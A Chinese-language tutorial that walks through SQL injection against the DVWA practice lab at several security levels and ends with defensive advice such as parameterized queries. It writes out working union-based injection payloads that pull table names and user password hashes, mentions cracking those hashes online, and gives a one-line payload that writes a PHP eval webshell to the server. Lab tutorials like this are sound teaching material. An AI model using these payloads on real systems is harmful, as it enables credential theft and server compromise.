我们之前提到当忘记一个网站的密码时,可以尝试万能密码:用户名处输入admin‘--,其实这就是利用了SQL注入漏洞。
SQL注入(SQL Injection):是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
DVWA实战:
1. 打开phpStudy或xampp,运行Apach和mysql;
2. 浏览器进入DVWA主界面,在左侧栏选择DVWA Security安全等级为Low,然后进入SQL Injection;
提示我们输入User ID,我们输入1,页面返回该用户的信息。
于是我们猜想后台的SQL语句应该类似于:
SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;
这样我们就可以尝试用万能密码的方式看看能不能让后台执行恶意语句,我们试着输入
1 or 1024=1024 (数值型)
1‘ or ‘1024‘=‘1024 (字符型)
得到了所有用户的信息,这里的’1024‘=’1024加上后台的‘刚好使得where语句永远为True。
这里存在SQL注入漏洞,是不是可以进一步利用,获得更多的信息呢?
我们接下去想看看能不能知道用户表的字段数,试着输入:
1‘ or ‘1024‘=‘1024‘ order by 1 #
发现执行成功,这里的order是指按第一个字段排序,既然成功,那就说明第一个字段存在(好像是废话o(╯□╰)o)。不过我们可以利用同样的方法,order by 2,3,4,......直到N报错,就说明共有N-1个字段,我们发现当尝试到3时报错了,说明select语句只有2个字段。
仅此而已么?接下来我们更进一步,介绍union用法,输入:
1‘ union select 1,2 #
我们发现第二项里把1,2写入First name和Surname中。那有什么用呢?我们输入:
1‘ union select @@version,@@datadir #
发现居然拿到了SQL的版本和目录!同样的,更多信息都能被获取(用户和数据库名):
1‘ union select user(),database() #
有了数据库名,我们就能利用它来查询数据库中的所有表:
1‘ union select 1,table_name from information_schema.tables where table_schema=‘dvwa‘ #
说明数据库dvwa中一共有两个表,guestbook与users。
接下去我们看看users表里有些什么字段?担心字段太多,我们用group_concat拼接这些字段:
1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ #
我们得到了users表的8个字段名,接下去能获得每个用户的密码么?试试:
1‘ union select user,password from users #
这样我们就获得了所有用户的用户名和密码,虽然是加密过的,但是只要放到www.cmd5.com中就能破解出来,例如“5f4dcc3b5aa765d61d8327deb882cf99”,解密结果为:“password”!
于是,通过一个简单的SQL漏洞,我们就拿到了所有用户的密码,这个危害性真是太大了。此外,我们还能使用load_file函数去获取服务器各种文件,以及写入webshell,是在是太可怕。
union select ‘<?php @eval($_GET[‘cmd‘];?)>‘,webshell into outfile ‘D:/....‘
我们总结以下SQL注入的常用手段:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解SQL查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
3. 接下去我们把安全等级调为medium,发现输入框变成了下拉框。
但是一个小小的下拉框怎么能阻拦我们?我们前面已经多次用到TamperData或ZAP去修改请求报文,所以这不是个问题,具体不细说,可参考前面的文章。不过除了下拉框的限制,后台还利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义:
$id = mysql_real_escape_string( $id );
但如果是数字型注入漏洞,这个过滤就没太大用处,那如果是像之前一样需要输入table_schema=‘dvwa‘时怎么办呢?可以简单的使用HackBar插件里的Encoding功能进行Hex编码,将dvwa编码为0x64767761,就可以不用带引号了。
4. 接下去我们看看high等级的SQL注入,发现让我们点击链接后在新窗口输入ID后进行修改。这主要为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
但是这并不妨碍我们利用union select注入,采用之前同样的方法,也没什么问题。查看后台源码,发现多了个LIMIT 1的限制,希望只输出一个结果,不过这可以用注释符号直接绕过。
$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
5. 最后我们来看看impossible代码,发现后台进行了许多控制,包括输入必须是数字,使用预编译绑定变量,代码与数据分离,同时只有返回的查询结果数量为1时,才会成功输出,有效地防止SQL注入。
// Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) {
6. SQL注入虽然威力很大,但是过程略繁琐,需要一遍遍的尝试,有没有什么工具能节省我们的劳动力?当然是有点,那就是神器sqlmap,只需几个命令,就能完成我们上述的所有操作。不过对于我们来说,了解工具背后的原理更重要,大家有兴趣可以下载sqlmap安装并试用,关于sqlmap之后有空再专门写篇文章介绍。
实战心得:
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。防护方法主要有以下几点:
- 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
- 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。